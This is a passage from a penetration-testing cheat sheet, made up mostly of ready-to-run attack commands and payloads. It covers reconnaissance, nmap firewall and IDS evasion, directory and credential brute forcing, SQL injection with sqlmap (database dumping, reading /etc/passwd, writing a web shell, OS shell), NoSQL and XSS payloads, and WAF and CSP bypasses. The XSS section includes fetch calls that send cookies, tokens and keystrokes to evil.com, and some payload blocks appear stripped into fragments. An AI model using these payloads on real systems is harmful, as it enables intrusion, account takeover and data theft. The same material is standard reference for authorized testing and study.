gau_urls.txt\n```\n\n#### Google Dorking\n```\n# Common dorks\nsite:target.com\nsite:target.com filetype:pdf\nsite:target.com inurl:admin\nsite:target.com intitle:\"index of\"\nsite:target.com ext:php | ext:asp | ext:aspx | ext:jsp\nsite:target.com inurl:wp-content\nsite:target.com \"confidential\" | \"internal use only\"\nsite:target.com intext:\"sql syntax near\" | intext:\"syntax error has occurred\" | intext:\"incorrect syntax near\"\nsite:target.com inurl:php? id=\nsite:target.com \"powered by\" | \"built with\"\n```\n\n### Cloud & Infrastructure Discovery\n\n```bash\n# Find cloud assets\n# AWS\ncurl -s http://target.com.s3.amazonaws.com\ncurl -s http://s3.amazonaws.com/target.com\n\n# Azure\ncurl -s http://target.com.blob.core.windows.net\n\n# Google Cloud\ncurl -s http://storage.googleapis.com/target.com\n\n# Shodan queries\nshodan search \"hostname:target.com\" --fields ip_str,port,org,hostnames\nshodan search \"ssl:target.com\" --fields ip_str,port\nshodan search \"http.title:target\" --fields ip_str,port\n\n# Censys\ncensys search \"target.com\"\n```\n\n---\n\n## Port & Service Scanning\n\n### Nmap Fundamentals\n\n#### Basic Scans\n```bash\n# Quick scan (top 1000 ports)\nnmap -T4 -F target.com\n\n# Version detection\nnmap -sV target.com\n\n# OS detection\nnmap -O target.com\n\n# Default scripts\nnmap -sC target.com\n\n# Combined: version + scripts\nnmap -sV -sC target.com\n\n# Aggressive scan (OS + version + scripts + traceroute)\nnmap -A -T4 target.com\n```\n\n#### Port Selection\n```bash\n# Specific ports\nnmap -p 80,443,8080,8443 target.com\n\n# Port range\nnmap -p 1-1000 target.com\n\n# All ports (65535) - slow\nnmap -p- target.com\n\n# Fast all ports (with rate limiting)\nnmap -p- --min-rate 5000 target.com\n\n# Most common ports\nnmap --top-ports 200 target.com\n```\n\n#### Scan Types\n```bash\n# TCP SYN scan (default, requires root)\nsudo nmap -sS target.com\n\n# TCP Connect scan (no root)\nnmap -sT target.com\n\n# UDP scan\nsudo nmap -sU target.com\nsudo nmap -sU --top-ports 50 target.com\n\n# FIN scan (bypass some firewalls)\nsudo nmap -sF target.com\n\n# NULL scan\nsudo nmap -sN target.com\n\n# Xmas scan\nsudo nmap -sX target.com\n\n# ACK scan (map firewall rules)\nsudo nmap -sA target.com\n\n# Window scan\nsudo nmap -sW target.com\n\n# Maimon scan\nsudo nmap -sM target.com\n```\n\n#### Output Formats\n```bash\n# Normal output\nnmap -oN scan.txt target.com\n\n# XML output (for tools)\nnmap -oX scan.xml target.com\n\n# Grepable output\nnmap -oG scan.gnmap target.com\n\n# All formats\nnmap -oA scan target.com\n```\n\n### Advanced Nmap Techniques\n\n#### Timing and Performance\n```bash\n# Timing templates\n# T0 = Paranoid, T1 = Sneaky, T2 = Polite, T3 = Normal, T4 = Aggressive, T5 = Insane\nnmap -T4 target.com\n\n# Host timeout\nnmap --host-timeout 30m target.com\n\n# Max retries\nnmap --max-retries 3 target.com\n\n# Min/max rate\nnmap --min-rate 100 --max-rate 500 target.com\n\n# Parallelism\nnmap --min-hostgroup 50 --max-hostgroup 100 target.com\n```\n\n#### Firewall/IDS Evasion\n```bash\n# Fragment packets\nsudo nmap -f target.com\n\n# Specify MTU (must be multiple of 8)\nsudo nmap --mtu 16 target.com\n\n# Decoy scans\nsudo nmap -D RND:10 target.com\nsudo nmap -D decoy1,decoy2,ME target.com\n\n# Spoof source port\nsudo nmap --source-port 53 target.com\n\n# Randomize hosts\nsudo nmap --randomize-hosts target.com\n\n# MAC address spoofing\nsudo nmap --spoof-mac Apple target.com\nsudo nmap --spoof-mac 00:11:22:33:44:55 target.com\n\n# Idle scan (zombie)\nsudo nmap -sI zombie_host target.com\n```\n\n#### Script Scanning\n```bash\n# Run all safe scripts\nnmap -sV --script safe target.com\n\n# Run vulnerability scripts\nnmap -sV --script vuln target.com\n\n# Run exploit scripts\nnmap --script exploit target.com\n\n# Run specific category\nnmap --script default,auth,discovery target.com\n\n# Run specific script\nnmap --script http-enum target.com\nnmap --script http-title target.com\nnmap --script dns-brute target.com\n\n# Script with arguments\nnmap --script http-brute --script-args userdb=users.txt,passdb=pass.txt target.com\n\n# HTTP enumeration\nnmap -p 80,443,8080,8443 --script http-enum,http-headers,http-title,http-server-header target.com\n\n# SMB enumeration\nnmap -p 445 --script smb-enum-shares,smb-enum-users,smb-os-discovery target.com\n```\n\n### Nmap Scripting Engine Examples\n\n```bash\n# HTTP vuln scanning\nnmap -p 80,443 --script http-vuln-* target.com\n\n# SQL injection detection\nnmap -p 80 --script http-sql-injection target.com\n\n# XSS detection\nnmap -p 80 --script http-unsafe-output-escaping target.com\n\n# Shellshock detection\nnmap -p 80 --script http-shellshock target.com\n\n# Heartbleed detection\nnmap -p 443 --script ssl-heartbleed target.com\n\n# DNS zone transfer\nnmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=target.com target.com\n\n# SSL/TLS enumeration\nnmap -p 443 --script ssl-enum-ciphers target.com\nnmap -p 443 --script ssl-cert target.com\n\n# FTP enumeration\nnmap -p 21 --script ftp-anon,ftp-brute,ftp-syst target.com\n\n# SSH enumeration\nnmap -p 22 --script ssh2-enum-algos,ssh-hostkey,ssh-auth-methods target.com\n```\n\n### Practical Nmap Workflow\n\n```bash\n#!/bin/bash\n# Complete Nmap scanning workflow\n\nTARGET=\"10.10.10.1\"\nOUTDIR=\"./nmap_scan_$(date +%Y%m%d_%H%M%S)\"\nmkdir -p $OUTDIR\n\necho \"[*] Starting Nmap scan against $TARGET\"\necho \"[*] Output directory: $OUTDIR\"\n\n# Phase 1: Quick port scan\necho \"[*] Phase 1: Quick top-1000 port scan\"\nnmap -T4 --open -oN $OUTDIR/quick.txt $TARGET\n\n# Phase 2: Full port scan (all ports)\necho \"[*] Phase 2: Full port scan (all 65535)\"\nnmap -p- -T4 --min-rate 5000 -oN $OUTDIR/allports.txt $TARGET\n\n# Extract open ports\nPORTS=$(grep ^[0-9] $OUTDIR/allports.txt | cut -d'/' -f1 | tr '\\n' ',' | sed 's/,$//')\necho \"[+] Open ports: $PORTS\"\n\n# Phase 3: Service and version detection\necho \"[*] Phase 3: Service and version detection\"\nnmap -p $PORTS -sV -sC -A -oN $OUTDIR/services.txt -oX $OUTDIR/services.xml $TARGET\n\n# Phase 4: Vulnerability scan\necho \"[*] Phase 4: Vulnerability scan with NSE\"\nnmap -p $PORTS --script vuln -oN $OUTDIR/vuln.txt $TARGET\n\n# Phase 5: Safe script scan\necho \"[*] Phase 5: Safe script scan\"\nnmap -p $PORTS --script safe -oN $OUTDIR/safe_scripts.txt $TARGET\n\n# Phase 6: UDP scan (top 100 ports)\necho \"[*] Phase 6: UDP scan (top 100 ports)\"\nsudo nmap -sU --top-ports 100 -oN $OUTDIR/udp.txt $TARGET\n\necho \"[+] Scan complete! Results in $OUTDIR\"\n```\n\n---\n\n## Web Enumeration\n\n### Directory & File Brute Forcing\n\n#### Gobuster\n```bash\n# Directory enumeration\ngobuster dir -u https://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50\n\n# With extensions\ngobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt -x php,asp,aspx,jsp,html,txt,bak,zip,sql\n\n# Status codes\ngobuster dir -u https://target.com -w wordlist.txt -s 200,204,301,302,307,403\n\n# Exclude status codes\ngobuster dir -u https://target.com -w wordlist.txt -b 404,403\n\n# Follow redirects\ngobuster dir -u https://target.com -w wordlist.txt -r\n\n# Cookies and headers\ngobuster dir -u https://target.com -w wordlist.txt -c \"session=abc123\"\ngobuster dir -u https://target.com -w wordlist.txt -H \"Authorization: Bearer token\"\n\n# DNS subdomain enumeration\ngobuster dns -d target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 50\n\n# VHost enumeration\ngobuster vhost -u https://target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 50\n```\n\n#### FFUF (Faster Fuzzer)\n```bash\n# Basic directory fuzzing\nffuf -u https://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt\n\n# With extensions\nffuf -u https://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .php,.asp,.aspx,.jsp,.html,.txt\n\n# Filter by status codes\nffuf -u https://target.com/FUZZ -w wordlist.txt -fc 404,403\nffuf -u https://target.com/FUZZ -w wordlist.txt -mc 200,204,301,302\n\n# Filter by response size\nffuf -u https://target.com/FUZZ -w wordlist.txt -fs 0\nffuf -u https://target.com/FUZZ -w wordlist.txt -fw 0\nffuf -u https://target.com/FUZZ -w wordlist.txt -fl 0\n\n# Recursive scanning\nffuf -u https://target.com/FUZZ -w wordlist.txt -recursion -recursion-depth 2\n\n# POST request fuzzing\nffuf -u https://target.com/login -X POST -d \"username=FUZZ&password=test\" -H \"Content-Type: application/x-www-form-urlencoded\" -w usernames.txt -fc 401\n\n# Header fuzzing\nffuf -u https://target.com -H \"Host: FUZZ.target.com\" -w subdomains.txt -fc 400,404\n\n# Parameter fuzzing\nffuf -u https://target.com/page?FUZZ=test -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fc 404\n\n# Cookie fuzzing\nffuf -u https://target.com -b \"session=FUZZ\" -w wordlist.txt -fc 302\n\n# Multiple FUZZ points\nffuf -u https://target.com/FUZZ1?param=FUZZ2 -w FUZZ1:dirs.txt -w FUZZ2:params.txt\n```\n\n#### Dirb\n```bash\n# Basic scan\ndirb https://target.com\n\n# With custom wordlist\ndirb https://target.com /usr/share/wordlists/dirb/big.txt\n\n# With extensions\ndirb https://target.com -X .php,.html,.txt\n\n# Non-recursive\ndirb https://target.com -r\n\n# Use cookies\ndirb https://target.com -c \"session=abc123\"\n\n# Use proxy\ndirb https://target.com -p 127.0.0.1:8080\n```\n\n#### Wfuzz\n```bash\n# Directory scanning\nwfuzz -c -z file,/usr/share/wordlists/dirb/common.txt --hc 404 https://target.com/FUZZ\n\n# File extensions\nwfuzz -c -z file,wordlist.txt -z list,php-asp-jsp https://target.com/FUZZ.FUZ2Z\n\n# POST parameter fuzzing\nwfuzz -c -z file,usernames.txt -d \"username=FUZZ&password=test\" https://target.com/login\n\n# Cookie fuzzing\nwfuzz -c -z file,sessions.txt -b \"session=FUZZ\" https://target.com/dashboard\n\n# Header injection\nwfuzz -c -z file,headers.txt -H \"FUZZ: test\" https://target.com\n```\n\n### Web Server Vulnerability Scanning\n\n#### Nikto\n```bash\n# Basic scan\nnikto -h https://target.com\n\n# Specific port\nnikto -h https://target.com -p 8443\n\n# With authentication\nnikto -h https://target.com -id admin:password\n\n# SSL/TLS specific\nnikto -h https://target.com -ssl\n\n# Save output\nnikto -h https://target.com -o nikto_scan.txt\n\n# Tuning (select specific tests)\nnikto -h https://target.com -Tuning 123456\n# 1=File Upload, 2=Misconfig, 3=Info Disclosure, 4=Injection, 5=RFI/LFI, 6=XSS, 7=Command Exec, 8=SQLi, 9=SQL Injection\n\n# Use proxy\nnikto -h https://target.com -useproxy http://127.0.0.1:8080\n\n# Evasion techniques\nnikto -h https://target.com -evasion 123\n# 1=Random URI, 2=Directory prepend, 3=Prepend long random string, 4=Parameter/Value, 5=Tab separation, 6=Change case, 7=Windows paths\n```\n\n#### WhatWeb\n```bash\n# Basic detection\nwhatweb https://target.com\n\n# Aggressive mode\nwhatweb https://target.com -a 3\n\n# Verbose output\nwhatweb https://target.com -v\n\n# Log output\nwhatweb https://target.com --log-brief=whatweb.txt\nwhatweb https://target.com --log-json=whatweb.json\nwhatweb https://target.com --log-sql=whatweb.sql\n\n# Multiple targets\nwhatweb --input-file=targets.txt\n```\n\n#### WPScan (WordPress)\n```bash\n# Basic scan\nwpscan --url https://target.com\n\n# Enumerate plugins\nwpscan --url https://target.com --enumerate p\n\n# Enumerate themes\nwpscan --url https://target.com --enumerate t\n\n# Enumerate users\nwpscan --url https://target.com --enumerate u\n\n# Enumerate vulnerable plugins/themes\nwpscan --url https://target.com --enumerate vp,vt\n\n# API token for vulnerability database\nwpscan --url https://target.com --api-token YOUR_TOKEN\n\n# Password brute force\nwpscan --url https://target.com --passwords rockyou.txt --usernames admin\n\n# WAF detection\nwpscan --url https://target.com --detection-mode aggressive\n\n# Multisite scan\nwpscan --url https://target.com --multisite\n```\n\n### CMS-Specific Enumeration\n\n#### Joomla\n```bash\n# Joomscan\njoomscan -u https://target.com\n\n# Joomla vulnerability scanner\npython3 joomla-brute.py -u https://target.com -w passwords.txt -usr admin\n```\n\n#### Drupal\n```bash\n# Droopescan\ndroopescan scan drupal -u https://target.com\n\n# Drupalgeddon2\npython3 drupalgeddon2.py -u https://target.com\n```\n\n#### Magento\n```bash\n# MageScan\npython2 magento-scan.py -u https://target.com\n```\n\n### Virtual Host Discovery\n\n```bash\n# Using ffuf\nffuf -u http://target.com -H \"Host: FUZZ.target.com\" -w subdomains.txt -fs 1234\n\n# Using gobuster\ngobuster vhost -u http://target.com -w subdomains.txt\n\n# Using wfuzz\nwfuzz -c -z file,subdomains.txt -H \"Host: FUZZ.target.com\" -u http://target.com -hc 400,404\n\n# Manual with curl\nfor sub in $(cat subdomains.txt); do\n    curl -s -H \"Host: $sub.target.com\" http://target.com | grep -q \"Welcome\" && echo \"Found: $sub\"\ndone\n```\n\n### API Endpoint Discovery\n\n```bash\n# Common API paths\nffuf -u https://target.com/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt\n\n# API version fuzzing\nffuf -u https://target.com/api/vFUZZ -w \"1-10\" -fc 404\n\n# Swagger/OpenAPI discovery\nffuf -u https://target.com/FUZZ -w <(echo -e \"swagger.json\\nswagger.yaml\\nopenapi.json\\napi-docs\")\n\n# GraphQL discovery\nffuf -u https://target.com/FUZZ -w <(echo -e \"graphql\\ngraphiql\\ngraphql/console\\ngraphql/graphiql\")\n```\n\n### Robots.txt and Sitemap Analysis\n\n```bash\n# Check robots.txt\ncurl -s https://target.com/robots.txt\n\n# Check sitemap\ncurl -s https://target.com/sitemap.xml\ncurl -s https://target.com/sitemap_index.xml\n\n# Extract disallowed paths\ncurl -s https://target.com/robots.txt | grep \"Disallow\" | awk '{print $2}'\n\n# Extract sitemap URLs\ncurl -s https://target.com/sitemap.xml | grep -o \"[^<]*\" | sed 's///g'\n```\n\n### JavaScript File Analysis\n\n```bash\n# Download all JS files\nwget -r -l1 -A.js https://target.com\n\n# Extract endpoints from JS\ncat *.js | grep -Eo \"https?://[^/\\\\\\\"']+\" | sort -u\ncat *.js | grep -Eo \"/[a-zA-Z0-9_\\-/]+\\.(php|asp|aspx|jsp)\" | sort -u\n\n# LinkFinder\npython3 LinkFinder.py -i https://target.com -o cli\n\n# JSParser (for async endpoints)\npython2 JSParser.py https://target.com\n\n# SecretFinder\npython3 SecretFinder.py -i https://target.com -o cli\n```\n\n### Wayback Machine URL Extraction\n\n```bash\n# Get all historical URLs\nwaybackurls target.com | tee wayback_urls.txt\n\n# Gau (Get All URLs)\ngau target.com | tee gau_urls.txt\n\n# Filter interesting endpoints\ncat wayback_urls.txt | grep -E \"\\.php|\\?|\\.asp|\\.aspx|\\.jsp|api|admin|login\"\n\n# Check for parameters\ncat wayback_urls.txt | grep \"=\" | sort -u\n```\n\n---\n\n## Vulnerability Assessment\n\n### Automated Scanners\n\n#### Nuclei\n```bash\n# Basic scan\nnuclei -u https://target.com\n\n# With templates\nnuclei -u https://target.com -t cves/\nnuclei -u https://target.com -t exposures/\nnuclei -u https://target.com -t misconfiguration/\n\n# Severity-based\nnuclei -u https://target.com -severity critical,high\n\n# Multiple targets\nnuclei -l targets.txt\n\n# Output formats\nnuclei -u https://target.com -o results.txt -json\n\n# Rate limiting\nnuclei -u https://target.com -rl 150 -bs 25 -c 25\n```\n\n#### Nessus (Commercial)\n```bash\n# CLI usage\nnessuscli scan new --name \"Web Scan\" --targets target.com --policy \"Web App Tests\"\nnessuscli scan launch --scan-id 123\nnessuscli report download --scan-id 123 --format html\n```\n\n#### OpenVAS\n```bash\n# Start services\nsudo gvm-start\n\n# CLI scan creation\ngvm-cli --gmp-username admin --gmp-password pass socket --socketpath /var/run/gvmd.sock --xml \"...\"\n```\n\n### Manual Testing Techniques\n\n#### Security Headers Check\n```bash\n# Check security headers\ncurl -sI https://target.com | grep -iE \"strict-transport-security|content-security-policy|x-frame-options|x-content-type-options|referrer-policy|permissions-policy\"\n\n# Using online tools\n# securityheaders.com\n# observatory.mozilla.org\n```\n\n#### Information Disclosure\n```bash\n# Check for debug pages\ncurl -s https://target.com/phpinfo.php\ncurl -s https://target.com/info\ncurl -s https://target.com/server-status\n\n# Check for version disclosure\ncurl -sI https://target.com | grep -i \"server\\|x-powered-by\"\ncurl -s https://target.com | grep -i \"generator\\|version\"\n\n# Check for error messages\ncurl -s \"https://target.com/page?id='\" | grep -i \"sql\\|error\\|warning\"\n```\n\n#### CORS Misconfiguration\n```bash\n# Test with origin header\ncurl -sI https://target.com -H \"Origin: https://evil.com\" | grep -i \"access-control-allow-origin\"\n\n# Test with null origin\ncurl -sI https://target.com -H \"Origin: null\" | grep -i \"access-control-allow-origin\"\n```\n\n#### HTTP Methods Testing\n```bash\n# Check allowed methods\ncurl -sI https://target.com -X OPTIONS | grep -i \"allow\"\n\n# Test dangerous methods\ncurl -X PUT -d \"test\" https://target.com/test.txt\ncurl -X DELETE https://target.com/test.txt\ncurl -X TRACE https://target.com\n```\n\n---\n\n## SQL Injection (SQLi)\n\n### Detection Techniques\n\n#### Manual Testing\n```bash\n# Basic payloads\n' OR '1'='1\n' OR 1=1--\n\" OR \"1\"=\"1\n1' AND '1'='1\n1' AND '1'='2\n' OR '1'='1' --\n\n# Comments\n'--\n'#\n'/*\n'\n-- \n#\n\n# Union-based detection\n' UNION SELECT NULL--\n' UNION SELECT NULL,NULL--\n' UNION SELECT NULL,NULL,NULL--\n\n# Boolean-based\n' AND 1=1--\n' AND 1=2--\n\n# Time-based\n' AND SLEEP(5)--\n' WAITFOR DELAY '00:00:05'--\n' AND 1=1 AND SLEEP(5)--\n```\n\n#### Automated Detection with SQLmap\n```bash\n# Basic detection\nsqlmap -u \"https://target.com/page?id=1\"\n\n# POST request\nsqlmap -u \"https://target.com/login\" --data=\"username=admin&password=test\"\n\n# From Burp request file\nsqlmap -r request.txt\n\n# With cookie\nsqlmap -u \"https://target.com/page?id=1\" --cookie=\"session=abc123\"\n\n# Level and risk\nsqlmap -u \"https://target.com/page?id=1\" --level=5 --risk=3\n\n# Random user agent\nsqlmap -u \"https://target.com/page?id=1\" --random-agent\n\n# Batch mode (no prompts)\nsqlmap -u \"https://target.com/page?id=1\" --batch\n\n# Force SSL\nsqlmap -u \"https://target.com/page?id=1\" --force-ssl\n```\n\n### Data Extraction\n\n#### Database Enumeration\n```bash\n# Get databases\nsqlmap -u \"https://target.com/page?id=1\" --dbs\n\n# Get current database\nsqlmap -u \"https://target.com/page?id=1\" --current-db\n\n# Get current user\nsqlmap -u \"https://target.com/page?id=1\" --current-user\n\n# Get database users\nsqlmap -u \"https://target.com/page?id=1\" --users\n\n# Get database privileges\nsqlmap -u \"https://target.com/page?id=1\" --privileges\n```\n\n#### Table Enumeration\n```bash\n# Get tables from database\nsqlmap -u \"https://target.com/page?id=1\" -D database_name --tables\n\n# Get columns from table\nsqlmap -u \"https://target.com/page?id=1\" -D database_name -T users --columns\n\n# Dump table data\nsqlmap -u \"https://target.com/page?id=1\" -D database_name -T users --dump\n\n# Dump specific columns\nsqlmap -u \"https://target.com/page?id=1\" -D database_name -T users -C username,password --dump\n\n# Conditional dump\nsqlmap -u \"https://target.com/page?id=1\" -D database_name -T users --dump --where=\"id=1\"\n```\n\n### Advanced SQLmap Techniques\n\n#### Bypass Techniques\n```bash\n# Tamper scripts\nsqlmap -u \"https://target.com/page?id=1\" --tamper=space2comment\nsqlmap -u \"https://target.com/page?id=1\" --tamper=between,randomcase\nsqlmap -u \"https://target.com/page?id=1\" --tamper=apostrophemask,apostrophenullencode\n\n# List all tamper scripts\nsqlmap --list-tampers\n\n# WAF bypass\nsqlmap -u \"https://target.com/page?id=1\" --tamper=space2comment --random-agent --flush-session\n\n# No-cast\nsqlmap -u \"https://target.com/page?id=1\" --no-cast\n\n# Hex conversion\nsqlmap -u \"https://target.com/page?id=1\" --hex\n```\n\n#### File System Access\n```bash\n# Read file\nsqlmap -u \"https://target.com/page?id=1\" --file-read=/etc/passwd\n\n# Write file\nsqlmap -u \"https://target.com/page?id=1\" --file-write=shell.php --file-dest=/var/www/html/shell.php\n\n# Check privileges\nsqlmap -u \"https://target.com/page?id=1\" --is-dba\n```\n\n#### OS Command Execution\n```bash\n# Get OS shell\nsqlmap -u \"https://target.com/page?id=1\" --os-shell\n\n# Execute command\nsqlmap -u \"https://target.com/page?id=1\" --os-cmd=\"id\"\n\n# SQL shell\nsqlmap -u \"https://target.com/page?id=1\" --sql-shell\n```\n\n### Common SQL Injection Payloads\n\n#### Authentication Bypass\n```sql\nadmin' --\nadmin' #\nadmin'/*\n' or 1=1--\n' or 1=1#\n' or 1=1/*\n') or '1'='1--\n') or ('1'='1--\n' UNION SELECT 1, 'admin', 'password'--\n```\n\n#### Union-Based Payloads\n```sql\n' UNION SELECT null, null, null--\n' UNION SELECT 1,2,3--\n' UNION SELECT 1,@@version,3--\n' UNION SELECT 1,table_name,3 FROM information_schema.tables--\n' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--\n```\n\n#### Error-Based Payloads\n```sql\n' AND extractvalue(1, concat(0x7e, database()))--\n' AND updatexml(1, concat(0x7e, database()), 1)--\n' AND (SELECT * FROM(SELECT COUNT(*),CONCAT(database(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--\n```\n\n#### Boolean-Based Payloads\n```sql\n' AND 1=1--\n' AND 1=2--\n' AND SUBSTRING(database(),1,1)='a'--\n' AND ASCII(SUBSTRING(database(),1,1)) > 100--\n```\n\n#### Time-Based Payloads\n```sql\n' AND SLEEP(5)--\n' AND BENCHMARK(10000000,MD5('a'))--\n' WAITFOR DELAY '00:00:05'--\n' AND 1=(SELECT COUNT(*) FROM sysobjects WHERE xtype='U' AND WAITFOR DELAY '00:00:05')--\n```\n\n### Second-Order SQL Injection\n```bash\n# Register with malicious payload\nsqlmap -u \"https://target.com/register\" --data=\"username=admin'--&password=test\"\n\n# Trigger on another page\nsqlmap -u \"https://target.com/profile\" --cookie=\"session=abc123\" --second-url=\"https://target.com/profile\"\n```\n\n### NoSQL Injection\n```javascript\n// MongoDB\n' || '1'=='1\n' || 1==1//\n' && this.password.match(/.*/)//\n' && this.username.match(/admin/)//\n\n// Authentication bypass\n{ \"username\": { \"$ne\": null }, \"password\": { \"$ne\": null } }\n{ \"username\": { \"$regex\": \"admin\" }, \"password\": { \"$regex\": \"^.*\" } }\n\n// Tools\n# NoSQLMap\nnosqlmap.py --target http://target.com --attack\n```\n\n---\n\n## Cross-Site Scripting (XSS)\n\n### XSS Types\n\n#### Reflected XSS\n```html\n\nalert('XSS')\n\n\nhttps://target.com/search?q=alert(1)\n\n\n\n```\n\n#### Stored XSS\n```html\n\nalert(document.cookie)\n\n\n\n\n\n\n```\n\n#### DOM-Based XSS\n```javascript\n// URL fragment\nhttps://target.com/#alert(1)\n\n// document.write\ndocument.write(location.hash.substring(1))\n\n// innerHTML\nelement.innerHTML = location.hash.substring(1)\n\n// eval\neval(location.hash.substring(1))\n```\n\n### XSS Payloads\n\n#### Basic Alert Payloads\n```html\nalert('XSS')\nalert(1)\nalert(document.cookie)\nalert(document.domain)\nalert(document.URL)\n```\n\n#### Event Handler Payloads\n```html\n\n\n\n\nHover me\n\n\n\n```\n\n#### Attribute Breakout\n```html\n\">alert(1)\n'>alert(1)\njavascript:alert(1)\n\">\n' onmouseover=alert(1) '\n```\n\n#### Encoded Payloads\n```html\n%3Cscript%3Ealert(1)%3C/script%3E\n<script>alert(1)</script>\nipt>alert(1)ipt>\nalert(1)\n```\n\n#### Polyglot Payloads\n```html\njavascript:/*-->\n\" onclick=alert(1)//Click\n```\n\n### Advanced XSS Attacks\n\n#### Cookie Stealing\n```html\n\nfetch('https://evil.com/steal?cookie='+document.cookie)\nnew Image().src='https://evil.com/steal?c='+document.cookie\ndocument.location='https://evil.com/steal?c='+document.cookie\n\n\nfetch('https://evil.com/steal', {method:'POST', body:document.cookie, mode:'no-cors'})\n\n\nfetch('https://evil.com/steal?data='+btoa(JSON.stringify(localStorage)))\n```\n\n#### Keylogging\n```javascript\n\ndocument.onkeypress = function(e) {\n    fetch('https://evil.com/keylog?key='+e.key);\n}\n\n```\n\n#### Session Hijacking\n```html\n\nfetch('https://evil.com/steal?token='+localStorage.getItem('token'))\n\n\n\nvar token = localStorage.getItem('token');\ndocument.write('');\n\n```\n\n#### Phishing\n```html\n\n\ndocument.body.innerHTML = '\n\nSession Expired\n';\n\n```\n\n#### Port Scanning\n```javascript\n\nfor (var i=1;i<=1024;i++) {\n    var img = new Image();\n    img.onload = function() { console.log('Port open: ' + i); };\n    img.onerror = function() { console.log('Port closed: ' + i); };\n    img.src = 'http://localhost:' + i;\n}\n\n```\n\n### XSS Testing Tools\n\n#### Dalfox\n```bash\n# Basic scan\ndalfox url https://target.com/page?q=test\n\n# File input\ndalfox file urls.txt\n\n# With cookie\ndalfox url https://target.com/page?q=test --cookie \"session=abc123\"\n\n# Blind XSS\ndalfox url https://target.com/page?q=test --blind \"https://xsshunter.com\"\n\n# Output formats\ndalfox url https://target.com/page?q=test --output results.txt --format json\n\n# Custom payloads\ndalfox url https://target.com/page?q=test --custom-payload-file payloads.txt\n```\n\n#### XSStrike\n```bash\n# Basic scan\npython3 xsstrike.py -u \"https://target.com/page?q=test\"\n\n# POST request\npython3 xsstrike.py -u \"https://target.com/search\" --data \"q=test\"\n\n# Crawl and test\npython3 xsstrike.py -u \"https://target.com\" --crawl\n\n# Skip DOM checking\npython3 xsstrike.py -u \"https://target.com/page?q=test\" --skip-dom\n```\n\n#### XSSer\n```bash\n# Basic scan\nxsser -u \"https://target.com/page?q=test\"\n\n# POST request\nxsser -u \"https://target.com/login\" --post=\"user=test&pass=test\"\n\n# Auto\nxsser --auto \"https://target.com/page?q=test\"\n\n# Crawler\nxsser --crawler \"https://target.com\"\n```\n\n### XSS Prevention Bypass\n\n#### WAF Bypass Techniques\n```html\n\nalert(1)\n\n\npt>alert(1)ript>\n\n\n\nalert(1)\n\n\n\n<\tscript\t>alert(1)</\tscript\t>\n\n\n%3cscript%3ealert(1)%3c/script%3e\n\n\n%253cscript%253ealert(1)%253c/script%253e\n\n\n+ADw-script+AD4-alert(1)+ADw-/script+AD4-\n\n\n\n\n\n<\u017fcript>alert(1)</\u017fcript>\n```\n\n#### CSP Bypass\n```html\n\nalert(1)\n\n\neval('alert(1)')\n\n\n\n\n\n\n\n\n\n\n```\n\n---\n\n## Authentication Attacks\n\n### Brute Force Tools\n\n#### Hydra\n```bash\n# HTTP POST form\nhydra -l admin -P rockyou.txt target.com http-post-form \"/login:username=^USER^&password=^PASS^:Invalid\"\n\n# HTTP GET with basic auth\nhydra -L users.txt -P pass.txt target.com http-get /protected\n\n# HTTPS POST\nhydra -l admin -P pass.txt -s 443 target.com https-post-form \"/login:user=^USER^&pass=^PASS^:F=incorrect\"\n\n# With cookies\nhydra -l admin -P pass.txt target.com http-post-form \"/login:username=^USER^&password=^PASS^&cookie=value:H=session=abc123:F=Invalid\"\n\n# Multiple threads\nhydra -L users.txt -P pass.txt -t 16 target.com http-post-form \"/login:username=^USER^&password=^PASS^:Invalid\"\n\n# Output\nhydra -L users.txt -P pass.txt target.com http-post-form \"/login:user=^USER^&pass=^PASS^:Invalid\" -o results.txt\n\n# SSH\nhydra -L users.txt -P pass.txt ssh://target.com\n\n# FTP\nhydra -l admin -P pass.txt ftp://target.com\n\n# SMTP\nhydra -l admin@target.com -P pass.txt smtp://target.com\n\n# MySQL\nhydra -l root -P pass.txt mysql://target.com\n\n# RDP\nhydra -L users.txt -P pass.txt rdp://target.com\n\n# SMB\nhydra -L users.txt -P pass.txt smb://target.com\n```\n\n#### Medusa\n```bash\n# HTTP\nmedusa -h target.com -U users.txt -P pass.txt -M http -m DIR:/login -T 10\n\n# SSH\nmedusa -h target.com -U users.txt -P pass.txt -M ssh -T 4\n\n# FTP\nmedusa -h target.com -U users.txt -P pass.txt -M ftp\n\n# MySQL\nmedusa -h target.com -U users.txt -P pass.txt -M mysql\n```\n\n#### Patator\n```bash\n# HTTP POST\npatator http_fuzz url=https://target.com/login method=POST body='user=FILE0&pass=FILE1' 0=users.txt 1=pass.txt -x ignore:fgrep='Invalid'\n\n# FTP\npatator ftp_login host=target.com user=FILE0 password=FILE1 0=users.txt 1=pass.txt -x ignore:mesg='Login incorrect'\n\n# SSH\npatator ssh_login host=target.com user=FILE0 password=FILE1 0=users.txt 1=pass.txt -x ignore:mesg='Authentication failed'\n```\n\n### Dictionary Attacks with Hashcat\n\n#### Hash Identification\n```bash\n# Identify hash type\nhashid hash.txt\nhash-identifier hash\n```\n\n#### Common Hash Modes\n```bash\n# MD5\nhashcat -m 0 hash.txt rockyou.txt\n\n# SHA1\nhashcat -m 100 hash.txt rockyou.txt\n\n# SHA256\nhashcat -m 1400 hash.txt rockyou.txt\n\n# SHA512\nhashcat -m 1800 hash.txt rockyou.txt\n\n# NTLM\nhashcat -m 1000 hash.txt rockyou.txt\n\n# bcrypt\nhashcat -m 3200 hash.txt rockyou.txt\n\n# WordPress\nhashcat -m 400 hash.txt rockyou.txt\n\n# Joomla\nhashcat -m 400 hash.txt rockyou.txt\n\n# Drupal\nhashcat -m 7900 hash.txt rockyou.txt\n```\n\n#### Attack Modes\n```bash\n# Straight (wordlist)\nhashcat -a 0 -m 0 hash.txt rockyou.txt\n\n# Combination\nhashcat -a 1 -m 0 hash.txt 